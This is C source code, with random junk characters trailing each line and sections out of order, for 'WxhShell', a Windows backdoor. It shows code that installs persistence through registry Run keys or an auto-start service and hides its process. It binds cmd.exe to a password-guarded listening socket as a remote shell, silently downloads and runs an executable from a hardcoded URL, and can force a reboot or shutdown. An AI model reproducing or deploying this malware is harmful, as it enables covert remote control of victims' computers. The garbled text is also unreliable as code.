    if(Boot(SHUTDOWN)) 7eyVm;LQD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |)pRkn8x  
    else { QSxR@hC  
    closesocket(wsh); -4 !9cE  
    ExitThread(0); Bl"BmUn  
    } `$5 QTte  
    break; 7\?0d!  
    } {-fhp@;  
  // 获取shell (ndTEnpp  
  case 's': { #rkz:ir4  
    CmdShell(wsh); ".Q``d&X  
    closesocket(wsh); |\W9$V  
    ExitThread(0); x  #Um`  
    break; 4%s6 d,6"  
  } P wY~L3,  
  // 退出 $yA>j (k4  
  case 'x': { hN3*]s;/6z  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [10y13  
    CloseIt(wsh); CC8)yO  
    break; t(R Jc  
    } &# ?2zbZ  
  // 离开 <V~B8C!)  
  case 'q': { 'fGB#uBt  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 8NJxtT~0c~  
    closesocket(wsh); ^z%ShmM&LZ  
    WSACleanup(); z{N~AaY  
    exit(1); q|}%6ztv-  
    break; @> ]O6P2  
        } N-9Vx#i  
  } z3bRV{{YqN  
  } {%"n[DLps  
w I7iE4\vz  
  // 提示信息 !G8=S'~~  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); XDtMFig  
} nsM=n}$5x  
  } YXi'^GU@  
VPh0{(O^=  
  return; >OLKaghV.5  
} @X?7a]+;8  
RI[=N:C^  
// shell模块句柄 4Ucs9w3[  
int CmdShell(SOCKET sock) J dK' ~-L  
{ Hrk]6*  
STARTUPINFO si; 5OR2\h!XZt  
ZeroMemory(&si,sizeof(si)); )43\qIu\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; c&mLK1A6  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :< d.  
PROCESS_INFORMATION ProcessInfo; q9h 3/uTv  
char cmdline[]="cmd"; d5z=fH9  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); j TyR+#Wn  
  return 0; v><c@a=[  
} 5{"v/nXV  
nqFJNK]a  
// 自身启动模式 J\@W+/#dF  
int StartFromService(void) ;J>upI   
{ i!a. 6Gq  
typedef struct VL?sfG0  
{ .DX-biX,  
  DWORD ExitStatus; k Xg&}n7  
  DWORD PebBaseAddress; @7? O#WmL  
  DWORD AffinityMask; =.48^$LWx  
  DWORD BasePriority; E-`3}"{  
  ULONG UniqueProcessId; P2!+ZJ&  
  ULONG InheritedFromUniqueProcessId; VRs|";  
}   PROCESS_BASIC_INFORMATION; =] +owl2  
@PZ{(  
PROCNTQSIP NtQueryInformationProcess; 3-PqUJT$   
$A;%p6PO)  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; z%E ok  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; euyd(y$'k  
.}c&" L;W  
  HANDLE             hProcess; ;xl0J*r  
  PROCESS_BASIC_INFORMATION pbi; Q;xJ/4 Z"  
ZamOYkRX  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); rHa*WA;TE  
  if(NULL == hInst ) return 0; Bc*FH>E  
)vsX (/WU  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); qI%X/'  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); PrKH{nyJk  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }ip3dm  
W;T 5[  
  if (!NtQueryInformationProcess) return 0; I'E7mb<2  
t }YT+S  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); KjNA PfL  
  if(!hProcess) return 0; ;EB^1*A Ew  
%#<MCiaK  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0NF=7 j  
sR4B/1'E  
  CloseHandle(hProcess);  &<LBz|  
x^7 9s_h5  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); AGGT] 58|  
if(hProcess==NULL) return 0; bn%4s[CVb4  
+^DDWVp  
HMODULE hMod; .>a [  
char procName[255]; )~0TGy|  
unsigned long cbNeeded; #\8"d  
VTa%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); =/!RQQ|8o  
c`@";+|r  
  CloseHandle(hProcess);  b]gVZ-  
a*&(cn  
if(strstr(procName,"services")) return 1; // 以服务启动 ox*>HkV  
v`@NwH<r  
  return 0; // 注册表启动 G*f\ /  
} yv|`A2@9  
brX[-  
// 主模块 ~1&WR`U  
int StartWxhshell(LPSTR lpCmdLine) E/zclD5S  
{ \ZA@r|=$  
  SOCKET wsl; (6Ciqf8  
BOOL val=TRUE; Z(XohWe2  
  int port=0; wF9L<<&B  
  struct sockaddr_in door; 7`f%?xVn0  
%Gl1Qi+Po_  
  if(wscfg.ws_autoins) Install(); =4$ErwI_dm  
PthgxB^  
port=atoi(lpCmdLine); nV`U{}x  
9a]{|M9  
if(port<=0) port=wscfg.ws_port; @^R l{p  
)8!*,e=4  
  WSADATA data; 6e8 gFQ"w2  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /xSFW7d1  
2qot(Zs1i  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   I~;w Q  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); P{x6e/  
  door.sin_family = AF_INET; D4\[D8pD  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1F_$[iIX]  
  door.sin_port = htons(port); H,c`=Ii3  
PXyv);#Q`  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { T%;V_iW-  
closesocket(wsl); /Kh,  
return 1; i),bAU!+m  
} \%7fm#z6  
I(Z\$  
  if(listen(wsl,2) == INVALID_SOCKET) { QWnGolN  
closesocket(wsl); 5rmU9L  
return 1; `U=Jbdc l3  
} ?5jLN&A3 G  
  Wxhshell(wsl); *NG\3%}%|@  
  WSACleanup(); `yP`5a/  
x0b=r!Duu  
return 0; P@keg*5@  
?% [~J  
} |j-ng;  
1yZA_x15:  
// 以NT服务方式启动 v3aPHf  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ZSs@9ej  
{ 7nPcm;Er  
DWORD   status = 0; 9|lLce$  
  DWORD   specificError = 0xfffffff; ? 3OfiGX?  
0>8w On  
  serviceStatus.dwServiceType     = SERVICE_WIN32; c -PZG|<C[  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ]'"Sa<->  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; vJaWHC$q  
  serviceStatus.dwWin32ExitCode     = 0; - om9 Z0e  
  serviceStatus.dwServiceSpecificExitCode = 0; [@ev%x,  
  serviceStatus.dwCheckPoint       = 0; I/XSW#  
  serviceStatus.dwWaitHint       = 0; !6 L!%Oi  
'Y#'ozSQv  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Q3(ulgl]  
  if (hServiceStatusHandle==0) return; @,n)1*{P  
[gpO?'~  
status = GetLastError(); gHp*QL\?9  
  if (status!=NO_ERROR) N<8\.z5:<  
{ @lF?+/=$  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; t^KQ*8clG  
    serviceStatus.dwCheckPoint       = 0; 9OV@z6  
    serviceStatus.dwWaitHint       = 0; YR*gO TD  
    serviceStatus.dwWin32ExitCode     = status; (jA5`4>u  
    serviceStatus.dwServiceSpecificExitCode = specificError; vX\9#Hj  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); rHTZM,zM=H  
    return; !8[T*'LJ-  
  } IJ&Lk=2E]  
W-l+%T!  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; K^U ="  
  serviceStatus.dwCheckPoint       = 0; o0]YDX@T  
  serviceStatus.dwWaitHint       = 0; nj'5iiV`]  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5XUm}D$  
} Ga5*tWj  
:Y\ ~[Y  
// 处理NT服务事件,比如:启动、停止 **L&I5Hhm  
VOID WINAPI NTServiceHandler(DWORD fdwControl) p X{wEc6}  
{ jwT` Z  
switch(fdwControl) gDVsi  
{ .@E5dw5  
case SERVICE_CONTROL_STOP: DPjs? M<  
  serviceStatus.dwWin32ExitCode = 0; Lo%vG{yTr  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -dixiJ=  
  serviceStatus.dwCheckPoint   = 0; s`_EkFw>Gl  
  serviceStatus.dwWaitHint     = 0; h/t;ZLUAZP  
  { (<r)xkn  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); tg@61V?>  
  } >jsY'Bm  
  return; U?sHh2*  
case SERVICE_CONTROL_PAUSE: Tj#S')s8  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; < j:\;mi;  
  break; 12z!{k7N  
case SERVICE_CONTROL_CONTINUE: oj - `G  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; [j-?)  
  break; n2bhCd]j<b  
case SERVICE_CONTROL_INTERROGATE: iRnjN  
  break; 46}U +>  
}; AQUAQZc  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); BV B2$&eJ  
} Q-'j131[  
J)>DsQ+Cj  
// 标准应用程序主函数 SjB"#E)  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \jwG*a  
{ 1H-Y3G>jN  
U L $!  
// 获取操作系统版本 Q3 8+`EhLA  
OsIsNt=GetOsVer(); ng3ZK  
GetModuleFileName(NULL,ExeFile,MAX_PATH); /=S@3?cQAB  
~^1y(-cw  
  // 从命令行安装 UHZ&7jfl  
  if(strpbrk(lpCmdLine,"iI")) Install(); 5_aj]"x  
+PjTT6  
  // 下载执行文件 x 4+WZYv3  
if(wscfg.ws_downexe) { |+q_kx@?l  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) qU !dg  
  WinExec(wscfg.ws_filenam,SW_HIDE); =O }^2OARo  
} s#s">hMrI  
%6320 x  
if(!OsIsNt) { %NrH\v{7Q  
// 如果时win9x,隐藏进程并且设置为注册表启动 ?.SGn[  
HideProc(); b!]O]dk#  
StartWxhshell(lpCmdLine); (p[#[CI9  
} ,Q-,#C"  
else l&ueD& *4&  
  if(StartFromService()) PaI\y! f  
  // 以服务方式启动 TRGpE9i  
  StartServiceCtrlDispatcher(DispatchTable); H54RA6$>  
else x#EE_i/W  
  // 普通方式启动 KSPa2>lz?  
  StartWxhshell(lpCmdLine); gB'ajX=OA/  
_d@YLd78P  
return 0; ; BN81;  
} |Gf<Ql_.4  
T/3LJGnY  
z< L2W",  
HDH G~<s  
=========================================== v0\l~_|H  
[[ ie  
qS vV |G  
:hZM$4  
]o<]A[<  
Kz"3ba}KH  
" XPX?+W=mv  
(SyD)G\rj  
#include <stdio.h> W#F9Qw  
#include <string.h> 1,wcf,  
#include <windows.h> ddfGR/1X  
#include <winsock2.h> ^aSb~lce  
#include <winsvc.h> -Q n-w3~&  
#include <urlmon.h> ^v; )6a2  
Y)1/f EM  
#pragma comment (lib, "Ws2_32.lib") )%K<pIk  
#pragma comment (lib, "urlmon.lib") |SkQe[t  
OT 0c5x  
#define MAX_USER   100 // 最大客户端连接数 I_r@Y:5{  
#define BUF_SOCK   200 // sock buffer Me .I>7c  
#define KEY_BUFF   255 // 输入 buffer *D?_,s  
"U}kp#)  
#define REBOOT     0   // 重启 l r&7 qu  
#define SHUTDOWN   1   // 关机 qPQIcJ  
SboHo({5VA  
#define DEF_PORT   5000 // 监听端口 wb$uq/|  
0SI@`C*1o  
#define REG_LEN     16   // 注册表键长度 |{N{VK  
#define SVC_LEN     80   // NT服务名长度 +K1M&(  
G,)zn9X  
// 从dll定义API ai_ve[A  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); o]<Z3)  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~!$"J}d}<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ,&_H  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); X<%D@$  
Oh! {E5!)  
// wxhshell配置信息 [[$C tqLg  
struct WSCFG {  gHe:o`  
  int ws_port;         // 监听端口 \V>5)R n  
  char ws_passstr[REG_LEN]; // 口令 N{v)pu.  
  int ws_autoins;       // 安装标记, 1=yes 0=no =LaEEL  
  char ws_regname[REG_LEN]; // 注册表键名 Ek L2nI  
  char ws_svcname[REG_LEN]; // 服务名 u_k[< &$  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 iJzBd7  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 WWunS|B!  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 `dZ|Ko%k  
int ws_downexe;       // 下载执行标记, 1=yes 0=no .TGw+E1k  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (DiduSJ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 v6*0@/L M  
RCWmdR#}V  
}; h!w::cV  
8}0wSVsxV$  
// default Wxhshell configuration <O1R*CaP  
struct WSCFG wscfg={DEF_PORT, sy"}25s  
    "xuhuanlingzhe", 3k1e  
    1, 17s~mqy  
    "Wxhshell", '`2KLO>!  
    "Wxhshell", jri"#H  
            "WxhShell Service", !eF(WbU0  
    "Wrsky Windows CmdShell Service", ,Pa*; o\  
    "Please Input Your Password: ", X!]v4ma`  
  1, 9nG^_.}|  
  "http://www.wrsky.com/wxhshell.exe", pkn^K+<n,  
  "Wxhshell.exe" HA,o2jZ?In  
    }; ~XOmxz0  
qfDG.Zee#  
// 消息定义模块 Af _4Z]F  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 4mvR]: G  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ? Lg(,-:  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; KwL_ae6fV  
char *msg_ws_ext="\n\rExit."; ,31 ? Aa  
char *msg_ws_end="\n\rQuit."; /s4~Ij`be  
char *msg_ws_boot="\n\rReboot..."; %B$ftsYXmu  
char *msg_ws_poff="\n\rShutdown..."; RIMSXue*Ha  
char *msg_ws_down="\n\rSave to "; r)^sHpK:`  
: B^"V\WE  
char *msg_ws_err="\n\rErr!"; |&#N&t  
char *msg_ws_ok="\n\rOK!"; q94;x|63  
p\&O;48=  
char ExeFile[MAX_PATH]; D4L&6[W  
int nUser = 0; Bv<gVt  
HANDLE handles[MAX_USER]; %,@pV%2  
int OsIsNt; ,jY:@<n  
.!o]oM U/  
SERVICE_STATUS       serviceStatus; N68mvBe  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ng%[yY  
r9ulTv}X  
// 函数声明 IJ Jp5[w  
int Install(void); hY&Yp^"}]^  
int Uninstall(void); '[ #y|  
int DownloadFile(char *sURL, SOCKET wsh); h3@tZL#g  
int Boot(int flag); ~Zr}QO}G  
void HideProc(void); aC,adNub  
int GetOsVer(void); Pe@# 6N`  
int Wxhshell(SOCKET wsl); 3F;C{P!  
void TalkWithClient(void *cs); 3x;UAi+&  
int CmdShell(SOCKET sock); Tx.N#,T|  
int StartFromService(void); EVPQe-  
int StartWxhshell(LPSTR lpCmdLine); <\#'o}  
Yz/Blh%V  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); kSz+UMC-7:  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); R/~!km  
|]< 3cW+  
// 数据结构和表定义 E;a,].  
SERVICE_TABLE_ENTRY DispatchTable[] = Gn2{C%  
{ j}uL  
{wscfg.ws_svcname, NTServiceMain}, "-&K!Vfs  
{NULL, NULL} <e UsMo<  
}; j.&dHtp  
_.JQ h   
// 自我安装 H,% bKl#  
int Install(void) $'V^_|EL7  
{ U6&`s%mIa  
  char svExeFile[MAX_PATH]; .)tv'V/  
  HKEY key; h?xgOb!4  
  strcpy(svExeFile,ExeFile); !)]/?&uo  
rCw 4a?YS  
// 如果是win9x系统,修改注册表设为自启动 G=cRdiy`C  
if(!OsIsNt) { pq) =  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3;v)f":[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A]bQUWt2  
  RegCloseKey(key); dEk#"cvg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;U'\"N9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ge2Klyi  
  RegCloseKey(key); Tksv7*5$  
  return 0; (9u`(|x  
    } NZ1B#PG,c  
  } zx$YNjeV  
} }eLApFHEDg  
else { RnH?95n?{  
ql@2<V{  
// 如果是NT以上系统,安装为系统服务 d_,Mylk  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $ +WXM$N  
if (schSCManager!=0) ?^~ZsOd8B  
{ D/E5&6  
  SC_HANDLE schService = CreateService A"7YkOfwH  
  ( QP'sS*saJ  
  schSCManager, :<aGZ\R5  
  wscfg.ws_svcname, @|:fm() <  
  wscfg.ws_svcdisp, fK7 ?"^`/  
  SERVICE_ALL_ACCESS, lj]M 1zEz&  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5~h )pt47  
  SERVICE_AUTO_START, eX"%b(;s  
  SERVICE_ERROR_NORMAL, }uDpf0;^  
  svExeFile, *<^C0:i(  
  NULL, ~u*4k:2H  
  NULL, Y7S1^'E 3  
  NULL, o`CM15d*7o  
  NULL, 9Z -2MF  
  NULL {gzQ/|}#z-  
  ); h!wq&Vi4  
  if (schService!=0) GSRf/::I}4  
  {  GAfc9  
  CloseServiceHandle(schService); p.:|Z-W$  
  CloseServiceHandle(schSCManager); - egTZW-  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ;SXkPs3q  
  strcat(svExeFile,wscfg.ws_svcname); b,Eq-Z;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { )Cdw_Yx  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));  wp~}1]g  
  RegCloseKey(key); BZ\="N#f  
  return 0; 7NJl+*u  
    } vL_yM  
  } o+x%q<e;c  
  CloseServiceHandle(schSCManager); <J d!`$  
} ;C-ds  
} N%Bl+7,q  
!Mw/j`*  
return 1; 3fLdceT  
} jW&*?6<  
k:n{AoUc  
// 自我卸载 6`2i'flv  
int Uninstall(void) V(cU/Aia^  
{ GipiO5)1C  
  HKEY key; q2#Ebw %]  
Pac ^=|h<q  
if(!OsIsNt) { [`tOhL  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "L5w]6C4  
  RegDeleteValue(key,wscfg.ws_regname); 1o5kP,)  
  RegCloseKey(key); [ DpOI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &DGqY5=  
  RegDeleteValue(key,wscfg.ws_regname); ->qRGUW  
  RegCloseKey(key); \@PMj"p|:  
  return 0; `/1rZ#  
  } DzhLb8k  
} VP< zOk7  
} ,w"cY?~<  
else { >W+,(kAS  
~7aD#`amU  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -0a3eg)Z*  
if (schSCManager!=0) oBmv^=cH  
{ {31X  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); o?O ZsA  
  if (schService!=0) 2G|}ENC  
  { lYe2;bu  
  if(DeleteService(schService)!=0) { !rgXB(  
  CloseServiceHandle(schService); <.g)?nj1  
  CloseServiceHandle(schSCManager); L]=mQo  
  return 0; :M;|0w*b  
  } B_#M)d O  
  CloseServiceHandle(schService); FXk*zXn6  
  } -DGuaUU  
  CloseServiceHandle(schSCManager); FM3.z)>  
} 4Tuh]5  
} *#p}FB2H#  
(xfy?N  
return 1; ZLaht(`+  
} lx$Z/f  
c9gm%  
// 从指定url下载文件 &%3}'&EBv  
int DownloadFile(char *sURL, SOCKET wsh) Q_/UC#I8  
{ `-s]d q  
  HRESULT hr; 3#fg 2  
char seps[]= "/"; ,*Wh{)  
char *token; ='I2&I,)  
char *file; Lz9|"F"V  
char myURL[MAX_PATH]; 7F]oK0l_  
char myFILE[MAX_PATH]; NxH%%>o>  
V 7 p{'C   
strcpy(myURL,sURL); MR,>]| ^  
  token=strtok(myURL,seps); ty;a!yjC  
  while(token!=NULL) `,FA3boE  
  { "V:RKH`  
    file=token; \Pfm>$Ib=  
  token=strtok(NULL,seps); ME*zMLoF+  
  } 4d`f?8vS  
c8l\1ce?7  
GetCurrentDirectory(MAX_PATH,myFILE); *Ta {  
strcat(myFILE, "\\"); 22d>\u+c  
strcat(myFILE, file); =?M{B1;H  
  send(wsh,myFILE,strlen(myFILE),0); 6[Mu3.T  
send(wsh,"...",3,0); Fyz1LOH[X  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);  fsKZ  
  if(hr==S_OK) 41C6ey  
return 0; h^zcM_  
else N mNj0&  
return 1; )\e0L/K@  
2j^8{Agz  
} Y>i Qp/k:  
_Pw5n mH c  
// 系统电源模块 /GP:W6:6z6  
int Boot(int flag) /u"K`y/*j\  
{ {f6~Vwf  
  HANDLE hToken; 2ak*aI  
  TOKEN_PRIVILEGES tkp; 0VgsV;  
#9(iu S+BU  
  if(OsIsNt) { {bNKyT  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); !J }Q%i  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); -C* UB  
    tkp.PrivilegeCount = 1; meD?<g4n~"  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; uw&p)  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); t; #D,gx  
if(flag==REBOOT) { x*_'uPo S  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]1bNcq2I  
  return 0; GZiN&}5e  
} Ap(>mUs!i  
else { I(Q3YDdb  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^hwTnW9Z1:  
  return 0; DvBRK}'  
} G $iC@,/  
  } )K 0rPnYV  
  else { `Yo!sgPO\  
if(flag==REBOOT) { Q$S|LC  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Z=144n 1  
  return 0; 8Dc'"3+6  
} X./7b{Pax  
else { s+ ]6X*)  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) G4K3qD#+H  
  return 0; )cRP6 =  
} lT- LOu|  
} li)shp)  
Xa=oEG  
return 1; D]5cijO6  
} |s[k= /~"  
+Ft@S(IE  
// win9x进程隐藏模块 j !rQa^   
void HideProc(void) /HM 0p  
{ 0bI} s`sr  
FP h1}qS  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ]n&Eb88  
  if ( hKernel != NULL ) aL0,=g%  
  { {$qLMx';  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); y(Ck j"  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); MN. $a9m  
    FreeLibrary(hKernel); rTYMN  
  } =bl6:  
-@G,Ry-\t  
return; 4X:S#z  
} P4dhP-t  
8al%F_r]  
// 获取操作系统版本 kmF@u@5M  
int GetOsVer(void) :x@j)&  
{ 0%GQXiy  
  OSVERSIONINFO winfo; #TKByOcD2!  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~"#[<d  
  GetVersionEx(&winfo); D eM/B5qw  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) v?qU/  
  return 1; .Fn7yTQ%  
  else  `\#J&N  
  return 0; s&~i S[  
} rIZ^ix-N  
<gbm 1iEe  
// 客户端句柄模块 4 .d~u@=  
int Wxhshell(SOCKET wsl) gOKF%Ej31T  
{ f" g-Hbl5  
  SOCKET wsh; 5Uha,Q9SA  
  struct sockaddr_in client; H m Z*  
  DWORD myID; }  cQ` L  
*B1%-  
  while(nUser<MAX_USER) @Xj6h!"R  
{ !1cVg ls|  
  int nSize=sizeof(client); Dt\rMSjZ9  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )xj!7:n)  
  if(wsh==INVALID_SOCKET) return 1; MY" 8!  
&5o ln@YL  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); E\dJb}"x %  
if(handles[nUser]==0) ^ woCwW8n  
  closesocket(wsh); s\A4y "  
else X4Y!Z/b  
  nUser++; x|`o7.  
  } xN=:*#Z"pb  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); bAZ x*qE=  
TW5Pt{X= f  
  return 0; N9=1<{Z  
} A~MIFr/8  
&R;Cm]jt  
// 关闭 socket K \_JG $(9  
void CloseIt(SOCKET wsh) lD\vq2  
{ r\DA&b  
closesocket(wsh); /yNLFL"  
nUser--; }hyl)?*~  
ExitThread(0); pGdo:L?  
} ( !=^(Nd  
mx;1'!'fr  
// 客户端请求句柄 GFppcL@a  
void TalkWithClient(void *cs) $PE{}`#g  
{ 5svM3  #  
Ir :y#  
  SOCKET wsh=(SOCKET)cs; .P5OUK  
  char pwd[SVC_LEN]; %AnqT|\#,  
  char cmd[KEY_BUFF]; 1aBQ.-E-  
char chr[1]; "[t b-$ER  
int i,j; &D*22R4{CX  
%1^E;n  
  while (nUser < MAX_USER) { 0\2#(^  
T5b*Ia  
if(wscfg.ws_passstr) { /Dk`vn2eN  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1<TB{}b Z  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /<-@8CC<  
  //ZeroMemory(pwd,KEY_BUFF); C.Ty\@U  
      i=0; \1R<GBC4  
  while(i<SVC_LEN) { J.^%VnrFO9  
_m2p>(N|  
  // 设置超时 AIX?840V  
  fd_set FdRead; "{"745H5  
  struct timeval TimeOut; %e|.a)78  
  FD_ZERO(&FdRead); )$oboAv#  
  FD_SET(wsh,&FdRead); C6ry]R@  
  TimeOut.tv_sec=8; (f `zd.  
  TimeOut.tv_usec=0; {]V+C=`  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); k2Y *  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); S"skKh4w  
w9Z,3J6r  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5w#7B  
  pwd=chr[0]; T(2*P5%&  
  if(chr[0]==0xd || chr[0]==0xa) { W_%@nm\y  
  pwd=0; 3; Ztm$8  
  break; &x>8 %Q s  
  } &2\^S+4  
  i++; LL"c 9jb4z  
    } j8#xNA  
])3(@.  
  // 如果是非法用户,关闭 socket lPO +dm  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); uEX+j  
} ?&rt)/DV,  
M'-Z"  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); V4>qR{5  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Hu-Y[~9^L:  
Lk>o`<*  
while(1) { q9iHJ'lMD*  
3L1MMUACL  
  ZeroMemory(cmd,KEY_BUFF); !5zDnv  
F*rsi7#!pG  
      // 自动支持客户端 telnet标准   -}$mv  
  j=0; a7Yz X5n  
  while(j<KEY_BUFF) { {$fd?| 9h  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l`k""f69W  
  cmd[j]=chr[0]; pas^FT~  
  if(chr[0]==0xa || chr[0]==0xd) { |O4LR,{G.w  
  cmd[j]=0; %&Q9WMo  
  break; U+2U#v=<  
  } tTcff9ee  
  j++; n1J;)VyR  
    } }$E341@  
_KZ&/  
  // 下载文件 wJ Qm7n-+  
  if(strstr(cmd,"http://")) { h5^qo ^;g7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); $3c9iVK~_  
  if(DownloadFile(cmd,wsh)) o7=#ye&P  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); aTU[H~dTU  
  else R?L? 6~/q  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .mwB'Ll  
  } H&_drxUq;L  
  else { S\"#E:A  
]21`x  
